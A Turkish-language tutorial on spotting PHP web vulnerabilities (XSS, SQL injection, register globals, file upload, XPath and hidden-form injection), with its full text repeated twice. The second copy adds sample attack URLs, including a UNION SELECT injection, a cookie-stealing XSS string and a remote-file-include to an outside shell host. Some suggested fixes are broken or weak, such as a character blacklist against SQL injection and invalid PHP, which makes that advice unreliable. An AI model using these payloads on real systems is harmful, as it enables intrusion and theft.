Find Bug 0n PHP Systems
//*
PHP sistemlerde ki zaafiyetleri fonksiyonlar ve değişkenler üzerinden ele alacağız.
Bunu sınıflandırmamızın sebebi çoğu arkadaşımızın Php sistemlerde açık bulmakta ve tanımlamakta zorluk çekmesidir.
Bu dökümanın size bug bulma ve tanımlamada yardımcı olacaktır.
*//
Php sistemlerde ilk olarak kaynak kodlarında aşağıdaki değişkenlere göz atmalısınız:
$_SERVER
$_GET
$_POST
$_COOKIE
$_REQUEST
$_FILES
$_ENV
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS
Neden? Cevap:
Php sistemlerde var olan bu değişkenler Input able değişkenleridir.
Örneğin admin giriş sayfasında şifremizi girdiğimiz form alanı $_POST değişkeni ile değere atanıyorsa yapacağımız iş bu değişken alanını incelemek olmalıdır.
Çünkü kontrolsuz inputlar sistemde zaafiyet oluşturur.
Şimdi hepsini teker teker inceleyeceğiz.
[~] Cross Site Scripting Vulnerability (XSS)
XSS kullanıcı odaklı bir açıktır.
Browserler üzerinde; Web sayfalarına inject edilen javascript kodları ile kullanıcıya yönelik saldırı yapılır.
Günümüzde Website sahiplerinin bu açık hakkında bilgisizliği ve tüm tarayıcıların javascript desteği olması XSS açıklarının çok yaygın olduğunu anlamak için yeterlidir.
Peki nasıl meydana gelir?
Temel olarak HTML etiketlerinin(tag) kötüye kullanımına sonucu meydana gelir.
ÖRNEK:
<?php
$xss = $_GET[’kasva’];
print $xss ;
?>
Değişkenler hiç bir filtreye tabi değil.
Örnek atak modülü:
DEFANS
HTML etiketlerinin kötüye kullanımını engellemek gerekir.
Bunun için "htmlspecialchars" fonksiyonunu kullanmalıyız:
<?php
$xss = $_GET[’kasva’];
print htmlspecialchars($xss) ;
?>
[~] SQL Injection Vulnerability
SQL Injection XSS açıklarının aksine server odaklı bir açıktır.
SQL Injection açıkları user inputlarının(kullanıcı girdilerinin) filtrelenmesinden meydana gelir.
Soracaksınız XSS de filtre eksikliğinden meydana gelmekte farkı ne? Cevap:
SQL Injection: Database ile data alış verişi yaptığımız alanların filtrelenmemesinden kaynaklanır.
XSS: WEB APPLICATION > USER > BROWSER > USER
SQL: WEB APPLICATION > USER > DATABASE > USER
şeklinde meydana gelir.
ÖRNEK:
<?php
$id= $_GET[’id’];
....
$query= "SELECT * FROM users WHERE id= ’ “ .$id." ;"
...
?>
id değikeni hiç bir filtremeye tabi değil.Bir üstten tırnak koysak database hata verecektir!
Örnek atak modülü:
DEFANS
Burada SQL Injectionda kullanılan "+(artı)" ";(noktalı virgül)" terimleri yasaklayacağız.
<?php
$id= $_GET[’id’];
....
$yasak = array("\\\\\\\\"", "\\\\\\\\\\\\\\\\", "/", "*", "’", "=", "-
", "#", ";", "<", ">", "+", "%");
$id = str_replace($yasak, "", $id);
$query= "SELECT * FROM users WHERE id= ’ “ .$id." ;"
...
?>
Yukarda array kullanarak yasak terimleri dizi içine aldık ve id değerini bu terimlere göre yeniden tanımladık.
[~] Dynamic Evaluation Vulnerability
Php fonksiyonlarının yanlış kullanılması ile meydana gelen bir açık türüdür.
ÖRNEK
<?php
$fonksiyon = $_GET[’fonksiyon’];
$fonksiyon();
?>
Yukardaki fonksiyonun çağırılma şekline dikkat ediniz.
Örnek atak Modülümüz:
Ve sayfamıza "phpinfo" bilgilerinin geldiğini göreceksiniz.
DEFANS
Bu açıklar PHP Bugları hakkında bilgisi olmayan acemi coderlerden kaynaklanır.
Asla bu şekilde fonksiyon çağırmayanız.
Büyük problemlerle karşı karşıya kalabilirsiniz.O yüzden fonksiyonları çağırırken:
<?php
function fonksiyon()
{
$fonksiyon = $_GET(’fonksiyon’)
print $fonksiyon ;
}
?>
Şeklinde kullanılabilir.
[~] Register Globals Vulnerability
Register global çok tehlikeli ve bazen yararlı bir PHP ekidir.
Peki ne işe yarar?
Bildiğiniz gibi $_POST ve $_GET terimlerini php uygulamalarmızda değişkenleri alırken kullanıyoruz.
Register global açık olduğunda bir yarar sağlıyor ve $_GET ya da $_POST kullanmanıza gerek kalmadan direkt olarak input ismini değişken olarak atıyor.Ve az kod yazmanızı sağlıyor.
Ancak bunu php uygulamanıza çok güvendiğiniz zaman kullanınız.Neden?
Çünkü direkt değişkene atanan inputu istediğiniz gibi şekillendirebiliriz.Register Globals PHP 4.1 sürümünden sonra off olarak kapalı şekilde gelmiştir.
ÖRNEK1:
<?php
if (isset($admin)) {
//Admin Paneline Hoş Geldiniz!
[...]
} else {
//Yanlış giriş yaptınız!
[...]
}
?>
Yukardaki örnekte "isset" fonksiyonu değişkenin var olup olmadığını kontrol eden bir fonksiyondur.
Nasıl atak yaparız?Değişken direkt olarak inputa atandığı için değerini biz belirleyebiliriz.
Örnek atak modülü:
Ve admin paneli açılacaktır.Peki bu açığı nasıl kapatacağız?
DEFANS
#Register Globals fonksiyonunu daima kapalı tutunuz.
#Ve yahut kendi insiyatifinizi kullanarak:
$is_admin =(); bu değikeni ekleyiniz:
<?php
$is_admin =()
if (isset($is_admin)) {
//Admin Paneline Hoş Geldiniz!
[...]
} else {
//Yanlış giriş yaptınız!
[...]
}
?>
ÖRNEK
Register Global 0n olduğu zaman inputu şekillendirebildiğimize göre çok fazla sayıda açık türü meydana gelebilir.
<?php
include "$path/kasva.php";
?>
Yukarda include ile geçerli inputu şekillendirelim.
Örnek atak modülü:
[~] File Upload Vulnerability
Shell upload açıkları php sistemlerde dosya tiplerinin tam filtre edilememesinden kaynaklanır.
Sadece grafik uzantılı dosyaları upload eden bir uygulamaya kendi php kodlarımızı upload edebiliriz.
ÖRNEK
<?php
....
if($_FILES[’userfile’][’type’] != "image/gif") {
....
}
?>
Yukardaki !="image/gif" ifadesi dosya türünün sadece gif olduğunu söylüyor.
Ancak dosya uzantısı kontrol edilmiyor.Dosya türü ile uzantısı çok farklı terimlerdir.
Peki nasıl exploit ederiz?Cevaphp dosyamızı gif türünde yollarız:
Php dosyamızın ilk satırına:
"GIF89A" kodunu hepsi büyük harf olarak girmemiz gerekiyor.Küçük harflerle kabul olmaz.
Ve php dosyasının upload edildiğini göreceksiniz.
DEFANS
Dosya uzantılarını yasaklayarak filtre engeli koyabiliriz.
$yasak = array(".php", ".phtml", ".php3", ".php4");
gibi uzantıları engelleyebiliriz.Aynı zamanda /upload klasörüne forbidden engeli koyabiliriz:
(.htaccess dosyası kullanarak ignore* yada deny all# komutları ile bunu yapabilirsiniz.)
En önemliside upload dosyalarına random isim verilmesini sağlayabiliriz.
Böylece php dosyaları upload edilse bile klasör yasak olduğundan ve ismide random olduğundan dosyayı görünteleyemeyecektir.
[~] XPath Injection (XML FUNCTIONS) Vulnerability
Xpath injection SQL Injectiona bir hayli benzeyen bir başka injection çeşididir.
SQL Injectionda SQL databaseye yapılan injection XPath Injectionda XML dosyasına yöneliktir.
Açığı tespit için ilk olarak XPath sorguları gönderen input alanları belirlemek gerekir.
ÖRNEK
<?php
$test = $_GET[’test’];
if ($test){
$xml = simplexml_load_file("kasva.xml");
$result = $xml->xpath($test);
print_r($result);
}
?>
Yukarıda 4. satırda kasva.xml dosyasına XPath query gönderdiğimize dikkat ediniz.
Şimdi bu xml dosyasına bakalım:
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>kayra</to>
<from>kasva</from>
<heading>Mektup</heading>
<bOdy>Seni seviyorum kayra!</bOdy>
</note>
XML Dosyasındaki taglere dikkat ediniz.
Evet php dosyamıza göre sorguları gönderelim:
Index.php?test=from:
#Array ( [0] => SimpleXMLElement Object ( [0] => kasva ) )
Index.php?test=*
#Array ( [0] => SimpleXMLElement Object ( [0] => kayra ) [1] => SimpleXMLElement Object ( [0] => kasva
) [2] => SimpleXMLElement Object ( [0] => Reminder ) [3] => SimpleXMLElement Object ( [0] => Seni seviyorum kayra! ) )
Evet Xml dosyasındaki tüm objectler karşımızda.
[~] Hidden Form Manipulation Vulnerability
Bu tür bir açık hidden form alanlarını kullanıcı data geçişi için kullanan her web sayfasında meydana gelebilir.
Hidden form alanlarını manipule ederek c0de inject edebiliriz.Peki nasıl olur bu iş?
Bir çok web programcısı bu alanları kodlarken hidden formlarda bulunan inputları code injectionu engellemek için
"> < " ’" gibi karakterlerden filtrelerler.
Anak bu filtreme datanın hidden forma geçişinden önce olmalıdır.Yani:
DATA - HIDDEN FORM - FILTRE >Bu kullanım güvenlik zaafiyeti yaratır.
DATA - FILTRE - HIDDEN FORM >Güvenli kullanım.
Peki bu açıklar ne tür sayfalarda bulunur; örneğin multi geçişli admin sayflarında admin ismi hidden formlara geçiş yapar.
user-login-HIDDEN FORM-admin-login-HIDDEN FORM-yönetici
ÖRNEK
Örnek bir kullanıma bakalım:
<form>
<input type="hidden" name="username" value="kasva" >
</form>
Yukardaki formda username yerine " > kasva kodunu girersek ne olur?Bakalım:
<form>
<input type="hidden" name="username" value="" >
kasva">
</form>
Evet görüldüğü gibi boş bir value değerine sahibiz artık.Yukarda girdiğimiz kod (" > kasva) sonuna kapatıcı tag(>) koymamamıza ağmen tamamlandığına dikkat ediniz.
Ve şimdi xss codumuzu inject edelim:
"> <scri pt>al ert(docu ment.co okie)</script> <a href =" (sonuna kapatıcı tag koymuyoruz)
Bakalım:
<form>
<input type="hidden" name="username" value="">
<s cript>alert(do cument.cookie)</script>
<a name ="">
</form>
Ve cookie browsere vuracaktır
DEFANS
Hidden formlara filtresiz data geçişi yapmayınız!
[~] Backup Files Download Vulnerability
Fazla görülmesede can sıkıcı bir açıktır.
Acemi Web programcıları backup dosyalarını saklarken random olarak adlandırırlar.
ÖRNEK
<?php
$rnd = rand(1,100);
$fp = fopen($rnd.’_backup_.sql’, ’w’);
fwrite($fp, $db );
fclose($fp);
?>
Yukarıdaki kodun 2. satırında rand() fonksiyonu 1-100 arası random sayı veriyor
ve 3. satırdada $rnd_backup_.sql ile bu backup dosyalarına atanıyor.
Bruteforce programı ile backup dosya ismini kolayca ele geçebiliriz
Fazla önemsenmeyen bir açık olmasına rağmen, önemli scriptlerde kendine yer buluyor:
Bakınız=> PHP-Fusion 6.00.105 Accessible Database Backups Download Vulnerable
//Alintidir
//*
PHP sistemlerde ki zaafiyetleri fonksiyonlar ve değişkenler üzerinden ele alacağız.
Bunu sınıflandırmamızın sebebi çoğu arkadaşımızın Php sistemlerde açık bulmakta ve tanımlamakta zorluk çekmesidir.
Bu dökümanın size bug bulma ve tanımlamada yardımcı olacaktır.
*//
Php sistemlerde ilk olarak kaynak kodlarında aşağıdaki değişkenlere göz atmalısınız:
$_SERVER
$_GET
$_POST
$_COOKIE
$_REQUEST
$_FILES
$_ENV
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS
Neden? Cevap:
Php sistemlerde var olan bu değişkenler Input able değişkenleridir.
Örneğin admin giriş sayfasında şifremizi girdiğimiz form alanı $_POST değişkeni ile değere atanıyorsa yapacağımız iş bu değişken alanını incelemek olmalıdır.
Çünkü kontrolsuz inputlar sistemde zaafiyet oluşturur.
Şimdi hepsini teker teker inceleyeceğiz.
[~] Cross Site Scripting Vulnerability (XSS)
XSS kullanıcı odaklı bir açıktır.
Browserler üzerinde; Web sayfalarına inject edilen javascript kodları ile kullanıcıya yönelik saldırı yapılır.
Günümüzde Website sahiplerinin bu açık hakkında bilgisizliği ve tüm tarayıcıların javascript desteği olması XSS açıklarının çok yaygın olduğunu anlamak için yeterlidir.
Peki nasıl meydana gelir?
Temel olarak HTML etiketlerinin(tag) kötüye kullanımına sonucu meydana gelir.
ÖRNEK:
<?php
$xss = $_GET[’kasva’];
print $xss ;
?>
Değişkenler hiç bir filtreye tabi değil.
Örnek atak modülü:
Kod:
#http://127.0.0.1:80/index.php?kasva="><sc ript>a lert(do cument.coo kie);</script>DEFANS
HTML etiketlerinin kötüye kullanımını engellemek gerekir.
Bunun için "htmlspecialchars" fonksiyonunu kullanmalıyız:
<?php
$xss = $_GET[’kasva’];
print htmlspecialchars($xss) ;
?>
[~] SQL Injection Vulnerability
SQL Injection XSS açıklarının aksine server odaklı bir açıktır.
SQL Injection açıkları user inputlarının(kullanıcı girdilerinin) filtrelenmesinden meydana gelir.
Soracaksınız XSS de filtre eksikliğinden meydana gelmekte farkı ne? Cevap:
SQL Injection: Database ile data alış verişi yaptığımız alanların filtrelenmemesinden kaynaklanır.
XSS: WEB APPLICATION > USER > BROWSER > USER
SQL: WEB APPLICATION > USER > DATABASE > USER
şeklinde meydana gelir.
ÖRNEK:
<?php
$id= $_GET[’id’];
....
$query= "SELECT * FROM users WHERE id= ’ “ .$id." ;"
...
?>
id değikeni hiç bir filtremeye tabi değil.Bir üstten tırnak koysak database hata verecektir!
Örnek atak modülü:
Kod:
http://127.0.0.1:80/index.php?id=1+UNION+SELECT+1,@@version,3,4,5+from+users/*DEFANS
Burada SQL Injectionda kullanılan "+(artı)" ";(noktalı virgül)" terimleri yasaklayacağız.
<?php
$id= $_GET[’id’];
....
$yasak = array("\\\\\\\\"", "\\\\\\\\\\\\\\\\", "/", "*", "’", "=", "-
", "#", ";", "<", ">", "+", "%");
$id = str_replace($yasak, "", $id);
$query= "SELECT * FROM users WHERE id= ’ “ .$id." ;"
...
?>
Yukarda array kullanarak yasak terimleri dizi içine aldık ve id değerini bu terimlere göre yeniden tanımladık.
[~] Dynamic Evaluation Vulnerability
Php fonksiyonlarının yanlış kullanılması ile meydana gelen bir açık türüdür.
ÖRNEK
<?php
$fonksiyon = $_GET[’fonksiyon’];
$fonksiyon();
?>
Yukardaki fonksiyonun çağırılma şekline dikkat ediniz.
Örnek atak Modülümüz:
Kod:
http://127.0.0.1:80/index.php?fonksiyon=phpinfoDEFANS
Bu açıklar PHP Bugları hakkında bilgisi olmayan acemi coderlerden kaynaklanır.
Asla bu şekilde fonksiyon çağırmayanız.
Büyük problemlerle karşı karşıya kalabilirsiniz.O yüzden fonksiyonları çağırırken:
<?php
function fonksiyon()
{
$fonksiyon = $_GET(’fonksiyon’)
print $fonksiyon ;
}
?>
Şeklinde kullanılabilir.
[~] Register Globals Vulnerability
Register global çok tehlikeli ve bazen yararlı bir PHP ekidir.
Peki ne işe yarar?
Bildiğiniz gibi $_POST ve $_GET terimlerini php uygulamalarmızda değişkenleri alırken kullanıyoruz.
Register global açık olduğunda bir yarar sağlıyor ve $_GET ya da $_POST kullanmanıza gerek kalmadan direkt olarak input ismini değişken olarak atıyor.Ve az kod yazmanızı sağlıyor.
Ancak bunu php uygulamanıza çok güvendiğiniz zaman kullanınız.Neden?
Çünkü direkt değişkene atanan inputu istediğiniz gibi şekillendirebiliriz.Register Globals PHP 4.1 sürümünden sonra off olarak kapalı şekilde gelmiştir.
ÖRNEK1:
<?php
if (isset($admin)) {
//Admin Paneline Hoş Geldiniz!
[...]
} else {
//Yanlış giriş yaptınız!
[...]
}
?>
Yukardaki örnekte "isset" fonksiyonu değişkenin var olup olmadığını kontrol eden bir fonksiyondur.
Nasıl atak yaparız?Değişken direkt olarak inputa atandığı için değerini biz belirleyebiliriz.
Örnek atak modülü:
Kod:
http://127.0.0.1:80/admin.php?admin=1DEFANS
#Register Globals fonksiyonunu daima kapalı tutunuz.
#Ve yahut kendi insiyatifinizi kullanarak:
$is_admin =(); bu değikeni ekleyiniz:
<?php
$is_admin =()
if (isset($is_admin)) {
//Admin Paneline Hoş Geldiniz!
[...]
} else {
//Yanlış giriş yaptınız!
[...]
}
?>
ÖRNEK
Register Global 0n olduğu zaman inputu şekillendirebildiğimize göre çok fazla sayıda açık türü meydana gelebilir.
<?php
include "$path/kasva.php";
?>
Yukarda include ile geçerli inputu şekillendirelim.
Örnek atak modülü:
Kod:
http://127.0.0.1:80/index.php?path=http://shelliniz.org/?[~] File Upload Vulnerability
Shell upload açıkları php sistemlerde dosya tiplerinin tam filtre edilememesinden kaynaklanır.
Sadece grafik uzantılı dosyaları upload eden bir uygulamaya kendi php kodlarımızı upload edebiliriz.
ÖRNEK
<?php
....
if($_FILES[’userfile’][’type’] != "image/gif") {
....
}
?>
Yukardaki !="image/gif" ifadesi dosya türünün sadece gif olduğunu söylüyor.
Ancak dosya uzantısı kontrol edilmiyor.Dosya türü ile uzantısı çok farklı terimlerdir.
Peki nasıl exploit ederiz?Cevaphp dosyamızı gif türünde yollarız:
Php dosyamızın ilk satırına:
"GIF89A" kodunu hepsi büyük harf olarak girmemiz gerekiyor.Küçük harflerle kabul olmaz.
Ve php dosyasının upload edildiğini göreceksiniz.
DEFANS
Dosya uzantılarını yasaklayarak filtre engeli koyabiliriz.
$yasak = array(".php", ".phtml", ".php3", ".php4");
gibi uzantıları engelleyebiliriz.Aynı zamanda /upload klasörüne forbidden engeli koyabiliriz:
(.htaccess dosyası kullanarak ignore* yada deny all# komutları ile bunu yapabilirsiniz.)
En önemliside upload dosyalarına random isim verilmesini sağlayabiliriz.
Böylece php dosyaları upload edilse bile klasör yasak olduğundan ve ismide random olduğundan dosyayı görünteleyemeyecektir.
[~] XPath Injection (XML FUNCTIONS) Vulnerability
Xpath injection SQL Injectiona bir hayli benzeyen bir başka injection çeşididir.
SQL Injectionda SQL databaseye yapılan injection XPath Injectionda XML dosyasına yöneliktir.
Açığı tespit için ilk olarak XPath sorguları gönderen input alanları belirlemek gerekir.
ÖRNEK
<?php
$test = $_GET[’test’];
if ($test){
$xml = simplexml_load_file("kasva.xml");
$result = $xml->xpath($test);
print_r($result);
}
?>
Yukarıda 4. satırda kasva.xml dosyasına XPath query gönderdiğimize dikkat ediniz.
Şimdi bu xml dosyasına bakalım:
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>kayra</to>
<from>kasva</from>
<heading>Mektup</heading>
<bOdy>Seni seviyorum kayra!</bOdy>
</note>
XML Dosyasındaki taglere dikkat ediniz.
Evet php dosyamıza göre sorguları gönderelim:
Index.php?test=from:
#Array ( [0] => SimpleXMLElement Object ( [0] => kasva ) )
Index.php?test=*
#Array ( [0] => SimpleXMLElement Object ( [0] => kayra ) [1] => SimpleXMLElement Object ( [0] => kasva
) [2] => SimpleXMLElement Object ( [0] => Reminder ) [3] => SimpleXMLElement Object ( [0] => Seni seviyorum kayra! ) )
Evet Xml dosyasındaki tüm objectler karşımızda.
[~] Hidden Form Manipulation Vulnerability
Bu tür bir açık hidden form alanlarını kullanıcı data geçişi için kullanan her web sayfasında meydana gelebilir.
Hidden form alanlarını manipule ederek c0de inject edebiliriz.Peki nasıl olur bu iş?
Bir çok web programcısı bu alanları kodlarken hidden formlarda bulunan inputları code injectionu engellemek için
"> < " ’" gibi karakterlerden filtrelerler.
Anak bu filtreme datanın hidden forma geçişinden önce olmalıdır.Yani:
DATA - HIDDEN FORM - FILTRE >Bu kullanım güvenlik zaafiyeti yaratır.
DATA - FILTRE - HIDDEN FORM >Güvenli kullanım.
Peki bu açıklar ne tür sayfalarda bulunur; örneğin multi geçişli admin sayflarında admin ismi hidden formlara geçiş yapar.
user-login-HIDDEN FORM-admin-login-HIDDEN FORM-yönetici
ÖRNEK
Örnek bir kullanıma bakalım:
<form>
<input type="hidden" name="username" value="kasva" >
</form>
Yukardaki formda username yerine " > kasva kodunu girersek ne olur?Bakalım:
<form>
<input type="hidden" name="username" value="" >
kasva">
</form>
Evet görüldüğü gibi boş bir value değerine sahibiz artık.Yukarda girdiğimiz kod (" > kasva) sonuna kapatıcı tag(>) koymamamıza ağmen tamamlandığına dikkat ediniz.
Ve şimdi xss codumuzu inject edelim:
"> <scri pt>al ert(docu ment.co okie)</script> <a href =" (sonuna kapatıcı tag koymuyoruz)
Bakalım:
<form>
<input type="hidden" name="username" value="">
<s cript>alert(do cument.cookie)</script>
<a name ="">
</form>
Ve cookie browsere vuracaktır
DEFANS
Hidden formlara filtresiz data geçişi yapmayınız!
[~] Backup Files Download Vulnerability
Fazla görülmesede can sıkıcı bir açıktır.
Acemi Web programcıları backup dosyalarını saklarken random olarak adlandırırlar.
ÖRNEK
<?php
$rnd = rand(1,100);
$fp = fopen($rnd.’_backup_.sql’, ’w’);
fwrite($fp, $db );
fclose($fp);
?>
Yukarıdaki kodun 2. satırında rand() fonksiyonu 1-100 arası random sayı veriyor
ve 3. satırdada $rnd_backup_.sql ile bu backup dosyalarına atanıyor.
Bruteforce programı ile backup dosya ismini kolayca ele geçebiliriz
Fazla önemsenmeyen bir açık olmasına rağmen, önemli scriptlerde kendine yer buluyor:
Bakınız=> PHP-Fusion 6.00.105 Accessible Database Backups Download Vulnerable